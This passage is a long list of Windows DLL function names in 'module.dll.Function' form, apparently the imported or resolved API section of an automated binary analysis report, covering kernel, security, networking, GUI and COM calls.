    "kernel32.dll.LocaleNameToLCID",
    "kernel32.dll.GetLocaleInfoEx",
    "kernel32.dll.LCIDToLocaleName",
    "kernel32.dll.GetSystemDefaultLocaleName",
    "fastprox.dll.DllGetClassObject",
    "fastprox.dll.DllCanUnloadNow",
    "dnsapi.dll.DnsApiFree",
    "oleaut32.dll.SysFreeString",
    "oleaut32.dll.#283",
    "oleaut32.dll.#284",
    "oleaut32.dll.#7",
    "oleaut32.dll.#17",
    "oleaut32.dll.#16",
    "psapi.dll.EnumProcesses",
    "kernel32.dll.FormatMessageW",
    "kernel32.dll.GetConsoleOutputCP",
    "gdi32.dll.TranslateCharsetInfo",
    "kernel32.dll.SetConsoleTextAttribute",
    "kernel32.dll.WriteConsoleW",
    "kernel32.dll.WriteFile",
    "kernel32.dll.FindFirstFileW",
    "kernel32.dll.FindClose",
    "kernel32.dll.FindNextFileW",
    "shell32.dll.SHGetFileInfo",
    "kernel32.dll.GetConsoleWindow",
    "shell32.dll.CommandLineToArgvW",
    "mscoree.dll.ND_RI8",
    "kernel32.dll.RtlMoveMemory",
    "kernel32.dll.CreateProcessW",
    "kernel32.dll.DuplicateHandle",
    "advapi32.dll.OpenSCManagerW",
    "advapi32.dll.GetServiceKeyNameW",
    "rpcrt4.dll.I_RpcSNCHOption",
    "advapi32.dll.GetServiceDisplayNameW",
    "advapi32.dll.OpenServiceW",
    "advapi32.dll.ChangeServiceConfigW",
    "advapi32.dll.ChangeServiceConfig2W",
    "advapi32.dll.CloseServiceHandle",
    "oleaut32.dll.GetErrorInfo",
    "oleaut32.dll.SysStringLen",
    "kernel32.dll.RegOpenKeyExW",
    "advapi32.dll.ConvertStringSidToSidW",
    "mscoree.dll.ND_RU1",
    "advapi32.dll.LsaClose",
    "advapi32.dll.LsaFreeMemory",
    "advapi32.dll.LsaOpenPolicy",
    "advapi32.dll.LsaLookupSids",
    "advapi32.dll.QueryServiceStatus",
    "advapi32.dll.StartServiceW",
    "kernel32.dll.DeleteFileW",
    "mscoree.dll.CorExitProcess",
    "mscorwks.dll.CorExitProcess",
    "ntdll.dll.EtwUnregisterTraceGuids",
    "mscorwks.dll._CorDllMain",
    "kernel32.dll.CreateActCtxW",
    "kernel32.dll.AddRefActCtx",
    "kernel32.dll.ReleaseActCtx",
    "kernel32.dll.ActivateActCtx",
    "kernel32.dll.DeactivateActCtx",
    "kernel32.dll.GetCurrentActCtx",
    "kernel32.dll.QueryActCtxW",
    "netutils.dll.NetApiBufferFree",
    "kernel32.dll.RegQueryValueExW",
    "kernel32.dll.RegCloseKey",
    "oleaut32.dll.#289",
    "oleaut32.dll.#287",
    "oleaut32.dll.#288",
    "oleaut32.dll.#290",
    "oleaut32.dll.#285",
    "advapi32.dll.EnumServicesStatusExW",
    "advapi32.dll.LsaEnumerateTrustedDomains",
    "advapi32.dll.LsaQueryInformationPolicy",
    "advapi32.dll.LsaNtStatusToWinError",
    "advapi32.dll.QueryServiceStatusEx",
    "advapi32.dll.SetSecurityDescriptorControl",
    "advapi32.dll.ConvertToAutoInheritPrivateObjectSecurity",
    "advapi32.dll.DestroyPrivateObjectSecurity",
    "advapi32.dll.AddAccessAllowedObjectAce",
    "advapi32.dll.AddAccessDeniedObjectAce",
    "advapi32.dll.AddAuditAccessObjectAce",
    "advapi32.dll.SetNamedSecurityInfoW",
    "advapi32.dll.GetNamedSecurityInfoW",
    "advapi32.dll.SetNamedSecurityInfoExW",
    "advapi32.dll.GetExplicitEntriesFromAclW",
    "advapi32.dll.GetEffectiveRightsFromAclW",
    "oleaut32.dll.#286",
    "ws2_32.dll.#115",
    "iphlpapi.dll.GetAdaptersAddresses",
    "ws2_32.dll.getaddrinfo",
    "ws2_32.dll.freeaddrinfo",
    "ws2_32.dll.#116",
    "advapi32.dll.CreateWellKnownSid",
    "rpcrt4.dll.RpcStringBindingComposeW",
    "rpcrt4.dll.RpcBindingFromStringBindingW",
    "rpcrt4.dll.RpcStringFreeW",
    "rpcrt4.dll.RpcBindingSetAuthInfoExW",
    "rpcrt4.dll.NdrClientCall3",
    "rpcrt4.dll.RpcBindingFree",
    "netapi32.dll.NetGroupEnum",
    "netapi32.dll.NetGroupGetInfo",
    "netapi32.dll.NetGroupSetInfo",
    "netapi32.dll.NetLocalGroupGetInfo",
    "netapi32.dll.NetLocalGroupSetInfo",
    "netapi32.dll.NetGroupGetUsers",
    "netapi32.dll.NetLocalGroupGetMembers",
    "netapi32.dll.NetLocalGroupEnum",
    "netapi32.dll.NetShareEnum",
    "netapi32.dll.NetShareGetInfo",
    "netapi32.dll.NetShareAdd",
    "netapi32.dll.NetShareEnumSticky",
    "netapi32.dll.NetShareSetInfo",
    "netapi32.dll.NetShareDel",
    "netapi32.dll.NetShareDelSticky",
    "netapi32.dll.NetShareCheck",
    "netapi32.dll.NetUserEnum",
    "netapi32.dll.NetUserGetInfo",
    "netapi32.dll.NetUserSetInfo",
    "netapi32.dll.NetApiBufferFree",
    "netapi32.dll.NetQueryDisplayInformation",
    "netapi32.dll.NetServerSetInfo",
    "netapi32.dll.NetServerGetInfo",
    "netapi32.dll.NetGetDCName",
    "netapi32.dll.NetWkstaGetInfo",
    "netapi32.dll.NetGetAnyDCName",
    "netapi32.dll.NetServerEnum",
    "netapi32.dll.NetUserModalsGet",
    "netapi32.dll.NetScheduleJobAdd",
    "netapi32.dll.NetScheduleJobDel",
    "netapi32.dll.NetScheduleJobEnum",
    "netapi32.dll.NetScheduleJobGetInfo",
    "netapi32.dll.NetUseGetInfo",
    "netapi32.dll.NetEnumerateTrustedDomains",
    "netapi32.dll.DsGetDcNameW",
    "netapi32.dll.DsRoleGetPrimaryDomainInformation",
    "netapi32.dll.DsRoleFreeMemory",
    "netapi32.dll.NetRenameMachineInDomain",
    "netapi32.dll.NetJoinDomain",
    "netapi32.dll.NetUnjoinDomain",
    "oleaut32.dll.#150",
    "samlib.dll.SamConnect",
    "samlib.dll.SamOpenDomain",
    "samlib.dll.SamEnumerateDomainsInSamServer",
    "samlib.dll.SamLookupDomainInSamServer",
    "samlib.dll.SamFreeMemory",
    "samlib.dll.SamQueryInformationDomain",
    "samlib.dll.SamEnumerateAliasesInDomain",
    "samlib.dll.SamOpenAlias",
    "samlib.dll.SamQueryInformationAlias",
    "samlib.dll.SamCloseHandle",
    "advapi32.dll.LookupAccountNameW",
    "ole32.dll.StringFromCLSID",
    "ole32.dll.CoInitializeSecurity",
    "kernel32.dll.GetFileSize",
    "kernel32.dll.SetLastError",
    "kernel32.dll.GetModuleHandleExW",
    "kernel32.dll.GetCurrentThreadId",
    "kernel32.dll.CreateToolhelp32Snapshot",
    "kernel32.dll.Thread32First",
    "kernel32.dll.OpenThread",
    "kernel32.dll.ResumeThread",
    "kernel32.dll.SuspendThread",
    "kernel32.dll.Thread32Next",
    "kernel32.dll.GetModuleHandleW",
    "kernel32.dll.FindResourceW",
    "kernel32.dll.LoadResource",
    "kernel32.dll.LoadLibraryExW",
    "kernel32.dll.WriteProcessMemory",
    "kernel32.dll.GetModuleFileNameW",
    "kernel32.dll.LoadLibraryW",
    "kernel32.dll.ReadProcessMemory",
    "kernel32.dll.SetFilePointerEx",
    "kernel32.dll.SetStdHandle",
    "kernel32.dll.WideCharToMultiByte",
    "kernel32.dll.GetCommandLineA",
    "kernel32.dll.IsProcessorFeaturePresent",
    "kernel32.dll.HeapAlloc",
    "kernel32.dll.RtlPcToFileHeader",
    "kernel32.dll.RaiseException",
    "kernel32.dll.HeapFree",
    "kernel32.dll.IsValidCodePage",
    "kernel32.dll.GetOEMCP",
    "kernel32.dll.GetCPInfo",
    "kernel32.dll.MultiByteToWideChar",
    "kernel32.dll.ExitProcess",
    "kernel32.dll.HeapSize",
    "kernel32.dll.RtlUnwindEx",
    "kernel32.dll.GetProcessHeap",
    "kernel32.dll.DeleteCriticalSection",
    "kernel32.dll.GetStartupInfoW",
    "kernel32.dll.GetModuleFileNameA",
    "kernel32.dll.QueryPerformanceCounter",
    "kernel32.dll.GetSystemTimeAsFileTime",
    "kernel32.dll.GetEnvironmentStringsW",
    "kernel32.dll.FreeEnvironmentStringsW",
    "kernel32.dll.RtlCaptureContext",
    "kernel32.dll.RtlLookupFunctionEntry",
    "kernel32.dll.RtlVirtualUnwind",
    "kernel32.dll.UnhandledExceptionFilter",
    "kernel32.dll.SetUnhandledExceptionFilter",
    "kernel32.dll.Sleep",
    "kernel32.dll.TerminateProcess",
    "kernel32.dll.TlsAlloc",
    "kernel32.dll.TlsGetValue",
    "kernel32.dll.TlsSetValue",
    "kernel32.dll.TlsFree",
    "kernel32.dll.EnterCriticalSection",
    "kernel32.dll.LeaveCriticalSection",
    "kernel32.dll.GetStringTypeW",
    "kernel32.dll.LCMapStringW",
    "kernel32.dll.HeapReAlloc",
    "kernel32.dll.OutputDebugStringW",
    "kernel32.dll.FlushFileBuffers",
    "kernel32.dll.GetConsoleCP",
    "user32.dll.wsprintfA",
    "kernel32.dll.InitializeCriticalSectionEx",
    "kernel32.dll.CreateEventExW",
    "kernel32.dll.CreateSemaphoreExW",
    "kernel32.dll.CreateThreadpoolTimer",
    "kernel32.dll.SetThreadpoolTimer",
    "kernel32.dll.WaitForThreadpoolTimerCallbacks",
    "kernel32.dll.CloseThreadpoolTimer",
    "kernel32.dll.CreateThreadpoolWait",
    "kernel32.dll.SetThreadpoolWait",
    "kernel32.dll.CloseThreadpoolWait",
    "kernel32.dll.FreeLibraryWhenCallbackReturns",
    "kernel32.dll.GetCurrentProcessorNumber",
    "kernel32.dll.GetLogicalProcessorInformation",
    "kernel32.dll.CreateSymbolicLinkW",
    "kernel32.dll.EnumSystemLocalesEx",
    "kernel32.dll.CompareStringEx",
    "kernel32.dll.GetDateFormatEx",
    "kernel32.dll.GetTimeFormatEx",
    "kernel32.dll.IsValidLocaleName",
    "kernel32.dll.LCMapStringEx",
    "kernel32.dll.GetTickCount64",
    "servicedll.dll.ServiceMain",
    "servicedll.dll.SvchostPushServiceGlobals",
    "termsrv.dll.ServiceMain",
    "termsrv.dll.SvchostPushServiceGlobals",
    "kernel32.dll.SetFileAttributesW",
    "kernel32.dll.SetFileTime",
    "kernel32.dll.QueryDosDeviceW",
    "kernel32.dll.SizeofResource",
    "kernel32.dll.VirtualProtect",
    "kernel32.dll.TerminateThread",
    "kernel32.dll.QueryPerformanceFrequency",
    "kernel32.dll.VirtualFree",
    "kernel32.dll.GetCPInfoExW",
    "kernel32.dll.RtlUnwind",
    "kernel32.dll.GetTimeZoneInformation",
    "kernel32.dll.FileTimeToLocalFileTime",
    "kernel32.dll.FreeLibrary",
    "kernel32.dll.HeapDestroy",
    "kernel32.dll.FileTimeToDosDateTime",
    "kernel32.dll.GlobalAlloc",
    "kernel32.dll.GlobalUnlock",
    "kernel32.dll.CreateThread",
    "kernel32.dll.CompareStringW",
    "kernel32.dll.CopyFileW",
    "kernel32.dll.MapViewOfFile",
    "kernel32.dll.ResetEvent",
    "kernel32.dll.MulDiv",
    "kernel32.dll.FreeResource",
    "kernel32.dll.GetVersion",
    "kernel32.dll.MoveFileW",
    "kernel32.dll.GlobalAddAtomW",
    "kernel32.dll.SwitchToThread",
    "kernel32.dll.GetExitCodeThread",
    "kernel32.dll.GetCurrentThread",
    "kernel32.dll.LockResource",
    "kernel32.dll.FileTimeToSystemTime",
    "kernel32.dll.GlobalFindAtomW",
    "kernel32.dll.GlobalFree",
    "kernel32.dll.VirtualQueryEx",
    "kernel32.dll.SetFilePointer",
    "kernel32.dll.GetTickCount",
    "kernel32.dll.GlobalDeleteAtom",
    "kernel32.dll.GetFileAttributesW",
    "kernel32.dll.InitializeCriticalSection",
    "kernel32.dll.GetThreadPriority",
    "kernel32.dll.GlobalLock",
    "kernel32.dll.SetThreadPriority",
    "kernel32.dll.VirtualAlloc",
    "kernel32.dll.GetCommandLineW",
    "kernel32.dll.GetLogicalDriveStringsW",
    "kernel32.dll.VerifyVersionInfoW",
    "kernel32.dll.HeapCreate",
    "kernel32.dll.GetDiskFreeSpaceW",
    "kernel32.dll.VerSetConditionMask",
    "kernel32.dll.SetEndOfFile",
    "kernel32.dll.ProcessIdToSessionId",
    "kernel32.dll.GetLocaleInfoW",
    "kernel32.dll.SystemTimeToFileTime",
    "kernel32.dll.IsDBCSLeadByteEx",
    "kernel32.dll.ConnectNamedPipe",
    "kernel32.dll.GetLocalTime",
    "kernel32.dll.WaitForSingleObject",
    "kernel32.dll.CreateFileMappingW",
    "kernel32.dll.CreateNamedPipeW",
    "kernel32.dll.ExitThread",
    "kernel32.dll.CreatePipe",
    "kernel32.dll.GetDateFormatW",
    "kernel32.dll.TzSpecificLocalTimeToSystemTime",
    "kernel32.dll.IsValidLocale",
    "kernel32.dll.CreateDirectoryW",
    "kernel32.dll.GetSystemDefaultUILanguage",
    "kernel32.dll.EnumCalendarInfoW",
    "kernel32.dll.GlobalMemoryStatus",
    "kernel32.dll.WaitForMultipleObjectsEx",
    "kernel32.dll.GetThreadLocale",
    "kernel32.dll.SetThreadLocale",
    "advapi32.dll.RegSetValueExW",
    "advapi32.dll.GetAce",
    "advapi32.dll.CreateServiceW",
    "advapi32.dll.StartServiceCtrlDispatcherW",
    "advapi32.dll.AddAce",
    "advapi32.dll.SetServiceStatus",
    "advapi32.dll.DeleteService",
    "advapi32.dll.GetLengthSid",
    "advapi32.dll.SetTokenInformation",
    "advapi32.dll.RegCreateKeyExW",
    "advapi32.dll.CreateProcessAsUserW",
    "advapi32.dll.GetSecurityDescriptorDacl",
    "advapi32.dll.RegisterServiceCtrlHandlerW",
    "advapi32.dll.CopySid",
    "advapi32.dll.GetAclInformation",
    "advapi32.dll.RegFlushKey",
    "comctl32.dll.FlatSB_SetScrollInfo",
    "comctl32.dll.InitCommonControls",
    "comctl32.dll.ImageList_DragMove",
    "comctl32.dll.ImageList_Destroy",
    "comctl32.dll._TrackMouseEvent",
    "comctl32.dll.ImageList_DragShowNolock",
    "comctl32.dll.ImageList_Add",
    "comctl32.dll.ImageList_GetDragImage",
    "comctl32.dll.FlatSB_SetScrollProp",
    "comctl32.dll.ImageList_Create",
    "comctl32.dll.ImageList_EndDrag",
    "comctl32.dll.ImageList_DrawEx",
    "comctl32.dll.ImageList_SetImageCount",
    "comctl32.dll.FlatSB_GetScrollPos",
    "comctl32.dll.FlatSB_SetScrollPos",
    "comctl32.dll.InitializeFlatSB",
    "comctl32.dll.FlatSB_GetScrollInfo",
    "comctl32.dll.ImageList_Write",
    "comctl32.dll.ImageList_GetBkColor",
    "comctl32.dll.ImageList_SetBkColor",
    "comctl32.dll.ImageList_BeginDrag",
    "comctl32.dll.ImageList_GetIcon",
    "comctl32.dll.ImageList_GetImageCount",
    "comctl32.dll.ImageList_DragEnter",
    "comctl32.dll.ImageList_GetIconSize",
    "comctl32.dll.ImageList_SetIconSize",
    "comctl32.dll.ImageList_Read",
    "comctl32.dll.ImageList_DragLeave",
    "comctl32.dll.ImageList_Draw",
    "comctl32.dll.ImageList_Remove",
    "comdlg32.dll.GetOpenFileNameW",
    "gdi32.dll.Arc",
    "gdi32.dll.Pie",
    "gdi32.dll.SetBkMode",
    "gdi32.dll.SelectPalette",
    "gdi32.dll.CreateCompatibleBitmap",
    "gdi32.dll.GetEnhMetaFileHeader",
    "gdi32.dll.ExcludeClipRect",
    "gdi32.dll.RectVisible",
    "gdi32.dll.SetWindowOrgEx",
    "gdi32.dll.MaskBlt",
    "gdi32.dll.AngleArc",
    "gdi32.dll.DeleteEnhMetaFile",
    "gdi32.dll.Chord",
    "gdi32.dll.SetTextColor",
    "gdi32.dll.StretchBlt",
    "gdi32.dll.SetDIBits",
    "gdi32.dll.SetViewportOrgEx",
    "gdi32.dll.CreateRectRgn",
    "gdi32.dll.RealizePalette",
    "gdi32.dll.GetDIBColorTable",
    "gdi32.dll.SetDIBColorTable",
    "gdi32.dll.RoundRect",
    "gdi32.dll.RestoreDC",
    "gdi32.dll.SetRectRgn",
    "gdi32.dll.GetTextMetricsW",
    "gdi32.dll.GetWindowOrgEx",
    "gdi32.dll.CreatePalette",
    "gdi32.dll.CreateBrushIndirect",
    "gdi32.dll.PatBlt",
    "gdi32.dll.SetEnhMetaFileBits",
    "gdi32.dll.PolyBezierTo",
    "gdi32.dll.GetStockObject",
    "gdi32.dll.CreateSolidBrush",
    "gdi32.dll.Polygon",
    "gdi32.dll.Rectangle",
    "gdi32.dll.MoveToEx",
    "gdi32.dll.DeleteDC",
    "gdi32.dll.SaveDC",
    "gdi32.dll.PlayEnhMetaFile",
    "gdi32.dll.BitBlt",
    "gdi32.dll.Ellipse",
    "gdi32.dll.FrameRgn",
    "gdi32.dll.GetDeviceCaps",
    "gdi32.dll.GetBitmapBits",
    "gdi32.dll.GetTextExtentPoint32W",
    "gdi32.dll.GetClipBox",
    "gdi32.dll.Polyline",
    "gdi32.dll.IntersectClipRect",
    "gdi32.dll.GetEnhMetaFileBits",
    "gdi32.dll.GetSystemPaletteEntries",
    "gdi32.dll.CreateBitmap",
    "gdi32.dll.SetWinMetaFileBits",
    "gdi32.dll.CreateDIBitmap",
    "gdi32.dll.GetStretchBltMode",
    "gdi32.dll.CreateDIBSection",
    "gdi32.dll.CreatePenIndirect",
    "gdi32.dll.GetDIBits",
    "gdi32.dll.SetStretchBltMode",
    "gdi32.dll.GetEnhMetaFilePaletteEntries",
    "gdi32.dll.CreateFontIndirectW",
    "gdi32.dll.PolyBezier",
    "gdi32.dll.LineTo",
    "gdi32.dll.GetRgnBox",
    "gdi32.dll.CreateHalftonePalette",
    "gdi32.dll.DeleteObject",
    "gdi32.dll.SelectObject",
    "gdi32.dll.ExtFloodFill",
    "gdi32.dll.UnrealizeObject",
    "gdi32.dll.CopyEnhMetaFileW",
    "gdi32.dll.SetBkColor",
    "gdi32.dll.CreateCompatibleDC",
    "gdi32.dll.GetObjectW",
    "gdi32.dll.GetBrushOrgEx",
    "gdi32.dll.GetCurrentPositionEx",
    "gdi32.dll.GetWinMetaFileBits",
    "gdi32.dll.SetROP2",
    "gdi32.dll.GetTextExtentPointW",
    "gdi32.dll.ExtTextOutW",
    "gdi32.dll.SetBrushOrgEx",
    "gdi32.dll.GetEnhMetaFileDescriptionW",
    "gdi32.dll.GetPixel",
    "gdi32.dll.ArcTo",
    "gdi32.dll.GdiFlush",
    "gdi32.dll.SetPixel",
    "gdi32.dll.EnumFontFamiliesExW",
    "gdi32.dll.GetPaletteEntries",
    "msvcrt.dll.memcpy",
    "msvcrt.dll.memset",
    "ole32.dll.IsEqualGUID",
    "ole32.dll.CLSIDFromProgID",
    "ole32.dll.CoInitialize",
    "oleaut32.dll.VariantClear",
    "oleaut32.dll.VariantInit",
    "oleaut32.dll.SysReAllocStringLen",
    "oleaut32.dll.SafeArrayCreate",
    "oleaut32.dll.SafeArrayPtrOfIndex",
    "oleaut32.dll.SafeArrayGetUBound",
    "oleaut32.dll.SafeArrayGetLBound",
    "oleaut32.dll.VariantCopy",
    "oleaut32.dll.VariantChangeType",
    "shell32.dll.IsUserAnAdmin",
    "shell32.dll.Shell_NotifyIconW",
    "shell32.dll.ShellExecuteW",
    "user32.dll.CopyImage",
    "user32.dll.CreateWindowExW",
    "user32.dll.GetMenuItemInfoW",
    "user32.dll.SetMenuItemInfoW",
    "user32.dll.DefFrameProcW",
    "user32.dll.GetDCEx",
    "user32.dll.GetMessageW",
    "user32.dll.OpenDesktopW",
    "user32.dll.SetProcessWindowStation",
    "user32.dll.PeekMessageW",
    "user32.dll.MonitorFromWindow",
    "user32.dll.GetDlgCtrlID",
    "user32.dll.SetTimer",
    "user32.dll.WindowFromPoint",
    "user32.dll.BeginPaint",
    "user32.dll.RegisterClipboardFormatW",
    "user32.dll.FrameRect",
    "user32.dll.MapVirtualKeyW",
    "user32.dll.IsWindowUnicode",
    "user32.dll.RegisterWindowMessageW",
    "user32.dll.FillRect",
    "user32.dll.GetMenuStringW",
    "user32.dll.DispatchMessageW",
    "user32.dll.SendMessageA",
    "user32.dll.DefMDIChildProcW",
    "user32.dll.GetClassInfoW",
    "user32.dll.GetSystemMenu",
    "user32.dll.ShowOwnedPopups",
    "user32.dll.GetScrollRange",
    "user32.dll.GetScrollPos",
    "user32.dll.SetScrollPos",
    "user32.dll.GetActiveWindow",
    "user32.dll.SetActiveWindow",
    "user32.dll.OpenWindowStationW",
    "user32.dll.DrawEdge",
    "user32.dll.GetKeyboardLayoutList",
    "user32.dll.LoadBitmapW",
    "user32.dll.DrawFocusRect",
    "user32.dll.EnumChildWindows",
    "user32.dll.GetScrollBarInfo",
    "user32.dll.ReleaseCapture",
    "user32.dll.UnhookWindowsHookEx",
    "user32.dll.LoadCursorW",
    "user32.dll.GetCapture",
    "user32.dll.SetCapture",
    "user32.dll.CreatePopupMenu",
    "user32.dll.ScrollWindow",
    "user32.dll.ShowCaret",
    "user32.dll.GetMenuItemID",
    "user32.dll.GetLastActivePopup",
    "user32.dll.CharLowerBuffW",
    "user32.dll.GetSystemMetrics",
    "user32.dll.PostMessageW",
    "user32.dll.DrawMenuBar",
    "user32.dll.SetParent",
    "user32.dll.IsZoomed",
    "user32.dll.CharUpperBuffW",
    "user32.dll.GetClientRect",
    "user32.dll.IsChild",
    "user32.dll.GetClassLongPtrW",
    "user32.dll.SetClassLongPtrW",
    "user32.dll.ClientToScreen",
    "user32.dll.GetClipboardData",
    "user32.dll.SetClipboardData",
    "user32.dll.SetWindowPlacement",
    "user32.dll.IsIconic",
    "user32.dll.CallNextHookEx",
    "user32.dll.GetMonitorInfoW",
    "user32.dll.ShowWindow",
    "user32.dll.CheckMenuItem",
    "user32.dll.CharUpperW",
    "user32.dll.DefWindowProcW",
    "user32.dll.GetForegroundWindow",
    "user32.dll.SetForegroundWindow",
    "user32.dll.GetWindowTextW",
    "user32.dll.EnableWindow",
    "user32.dll.DestroyWindow",
    "user32.dll.IsDialogMessageW",
    "user32.dll.EndMenu",
    "user32.dll.RegisterClassW",
    "user32.dll.CharNextW",
    "user32.dll.RedrawWindow",
    "user32.dll.GetDC",
    "user32.dll.GetFocus",
    "user32.dll.SetFocus",
    "user32.dll.EndPaint",
    "user32.dll.ReleaseDC",
    "user32.dll.MsgWaitForMultipleObjectsEx",
    "user32.dll.LoadKeyboardLayoutW",
    "user32.dll.ActivateKeyboardLayout",
    "user32.dll.GetParent",
    "user32.dll.DrawTextW",
    "user32.dll.SetScrollRange",
    "user32.dll.InsertMenuItemW",
    "user32.dll.PeekMessageA",
    "user32.dll.GetPropW",
    "user32.dll.MessageBoxW",
    "user32.dll.MessageBeep",
    "user32.dll.SetPropW",
    "user32.dll.RemovePropW",
    "user32.dll.UpdateWindow",
    "user32.dll.GetSubMenu",
    "user32.dll.MsgWaitForMultipleObjects",
    "user32.dll.DestroyMenu",
    "user32.dll.OemToCharA",
    "user32.dll.DestroyIcon",
    "user32.dll.SetWindowsHookExW",
    "user32.dll.EmptyClipboard",
    "user32.dll.IsWindowVisible",
    "user32.dll.GetDlgItem",
    "user32.dll.DispatchMessageA",
    "user32.dll.UnregisterClassW",
    "user32.dll.GetTopWindow",
    "user32.dll.SendMessageW",
    "user32.dll.AdjustWindowRectEx",
    "user32.dll.DrawIcon",
    "user32.dll.IsWindow",
    "user32.dll.EnumThreadWindows",
    "user32.dll.InvalidateRect",
    "user32.dll.GetKeyboardState",
    "user32.dll.DrawFrameControl",
    "user32.dll.ScreenToClient",
    "user32.dll.GetWindowLongPtrW",
    "user32.dll.SetWindowLongPtrW",
    "user32.dll.SetCursor",
    "user32.dll.CreateIcon",
    "user32.dll.CreateMenu",
    "user32.dll.LoadStringW",
    "user32.dll.CharLowerW",
    "user32.dll.SetWindowRgn",
    "user32.dll.SetWindowPos",
    "user32.dll.GetMenuItemCount",
    "user32.dll.RemoveMenu",
    "user32.dll.GetSysColorBrush",
    "user32.dll.GetKeyboardLayoutNameW",
    "user32.dll.GetWindowDC",
    "user32.dll.TranslateMessage",
    "user32.dll.OpenClipboard",
    "user32.dll.DrawTextExW",
    "user32.dll.MapWindowPoints",
    "user32.dll.EnumDisplayMonitors",
    "user32.dll.CallWindowProcW",
    "user32.dll.CloseClipboard",
    "user32.dll.DestroyCursor",
    "user32.dll.GetScrollInfo",
    "user32.dll.SetWindowTextW",
    "user32.dll.GetMessageExtraInfo",
    "user32.dll.EnableScrollBar",
    "user32.dll.GetSysColor",
    "user32.dll.TrackPopupMenu",
    "user32.dll.DrawIconEx",
    "user32.dll.PostQuitMessage",
    "user32.dll.GetClassNameW",
    "user32.dll.GetProcessWindowStation",
    "user32.dll.SetUserObjectSecurity",
    "user32.dll.GetUserObjectSecurity",
    "user32.dll.ShowScrollBar",
    "user32.dll.EnableMenuItem",
    "user32.dll.GetIconInfo",
    "user32.dll.GetMessagePos",
    "user32.dll.SetScrollInfo",
    "user32.dll.GetKeyNameTextW",
    "user32.dll.GetDesktopWindow",
    "user32.dll.GetCursorPos",
    "user32.dll.SetCursorPos",
    "user32.dll.HideCaret",
    "user32.dll.GetMenu",
    "user32.dll.GetMenuState",
    "user32.dll.SetMenu",
    "user32.dll.SetRect",
    "user32.dll.GetKeyState",
    "user32.dll.FindWindowExW",
    "user32.dll.MonitorFromPoint",
    "user32.dll.SystemParametersInfoW",
    "user32.dll.LoadIconW",
    "user32.dll.GetCursor",
    "user32.dll.GetWindow",
    "user32.dll.GetWindowRect",
    "user32.dll.InsertMenuW",
    "user32.dll.KillTimer",
    "user32.dll.PostThreadMessageW",
    "user32.dll.WaitMessage",
    "user32.dll.IsWindowEnabled",
    "user32.dll.IsDialogMessageA",
    "user32.dll.TranslateMDISysAccel",
    "user32.dll.GetWindowPlacement",
    "user32.dll.FindWindowW",
    "user32.dll.DeleteMenu",
    "user32.dll.GetKeyboardLayout",
    "userenv.dll.CreateEnvironmentBlock",
    "userenv.dll.DestroyEnvironmentBlock",
    "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
    "winhttp.dll.WinHttpSetTimeouts",
    "winhttp.dll.WinHttpSetStatusCallback",
    "winhttp.dll.WinHttpConnect",
    "winhttp.dll.WinHttpReceiveResponse",
    "winhttp.dll.WinHttpQueryAuthSchemes",
    "winhttp.dll.WinHttpGetProxyForUrl",
    "winhttp.dll.WinHttpReadData",
    "winhttp.dll.WinHttpCloseHandle",
    "winhttp.dll.WinHttpQueryHeaders",
    "winhttp.dll.WinHttpOpenRequest",
    "winhttp.dll.WinHttpAddRequestHeaders",
    "winhttp.dll.WinHttpOpen",
    "winhttp.dll.WinHttpWriteData",
    "winhttp.dll.WinHttpSetCredentials",
    "winhttp.dll.WinHttpQueryDataAvailable",
    "winhttp.dll.WinHttpSetOption",
    "winhttp.dll.WinHttpSendRequest",
    "winhttp.dll.WinHttpQueryOption",
    "wtsapi32.dll.WTSQuerySessionInformationW",
    "wtsapi32.dll.WTSFreeMemory",
    "wtsapi32.dll.WTSEnumerateSessionsW",
    "kernel32.dll.GetThreadUILanguage",
    "kernel32.dll.GetNativeSystemInfo",
    "oleaut32.dll.VariantChangeTypeEx",
    "oleaut32.dll.VarNeg",
    "oleaut32.dll.VarNot",
    "oleaut32.dll.VarAdd",
    "oleaut32.dll.VarSub",
    "oleaut32.dll.VarMul",
    "oleaut32.dll.VarDiv",
    "oleaut32.dll.VarIdiv",
    "oleaut32.dll.VarMod",
    "oleaut32.dll.VarAnd",
    "oleaut32.dll.VarOr",
    "oleaut32.dll.VarXor",
    "oleaut32.dll.VarCmp",
    "oleaut32.dll.VarI4FromStr",
    "oleaut32.dll.VarR4FromStr",
    "oleaut32.dll.VarR8FromStr",
    "oleaut32.dll.VarDateFromStr",
    "oleaut32.dll.VarCyFromStr",
    "oleaut32.dll.VarBoolFromStr",
    "oleaut32.dll.VarBstrFromCy",
    "oleaut32.dll.VarBstrFromDate",
    "oleaut32.dll.VarBstrFromBool",
    "ole32.dll.CoCreateInstanceEx",
    "ole32.dll.CoAddRefServerProcess",
    "ole32.dll.CoReleaseServerProcess",
    "ole32.dll.CoResumeClassObjects",
    "ole32.dll.CoSuspendClassObjects",
    "kernel32.dll.InitializeConditionVariable",
    "kernel32.dll.WakeConditionVariable",
    "kernel32.dll.WakeAllConditionVariable",
    "kernel32.dll.SleepConditionVariableCS",
    "user32.dll.AnimateWindow",
    "comctl32.dll.UninitializeFlatSB",
    "comctl32.dll.FlatSB_GetScrollProp",
    "comctl32.dll.FlatSB_EnableScrollBar",
    "comctl32.dll.FlatSB_ShowScrollBar",
    "comctl32.dll.FlatSB_GetScrollRange",
    "comctl32.dll.FlatSB_SetScrollRange",
    "user32.dll.SetLayeredWindowAttributes",
    "ole32.dll.CoFreeUnusedLibrariesEx",
    "ole32.dll.CoRegisterClassObject",
    "winsta.dll.WinStationEnumerateW",
    "ole32.dll.CoImpersonateClient",
    "ole32.dll.CoRevertToSelf",
    "advapi32.dll.QueryTraceW",
    "advapi32.dll.RegDeleteValueW",
    "lsmproxy.dll.DllGetClassObject",
    "lsmproxy.dll.DllCanUnloadNow",
    "rpcrt4.dll.I_RpcExceptionFilter",
    "winsta.dll.WinStationFreeMemory",
    "advapi32.dll.RegDeleteTreeA",
    "advapi32.dll.RegDeleteTreeW",
    "nsi.dll.NsiAllocateAndGetTable",
    "cfgmgr32.dll.CM_Open_Class_Key_ExW",
    "iphlpapi.dll.ConvertInterfaceGuidToLuid",
    "iphlpapi.dll.GetIfEntry2",
    "iphlpapi.dll.GetIpForwardTable2",
    "iphlpapi.dll.GetIpNetEntry2",
    "iphlpapi.dll.FreeMibTable",
    "nsi.dll.NsiFreeTable",
    "ws2_32.dll.GetAddrInfoW",
    "winsta.dll.WinStationQueryInformationW",
    "regapi.dll.RegGetMachinePolicyEx",
    "secur32.dll.InitSecurityInterfaceW",
    "ole32.dll.CLSIDFromString",
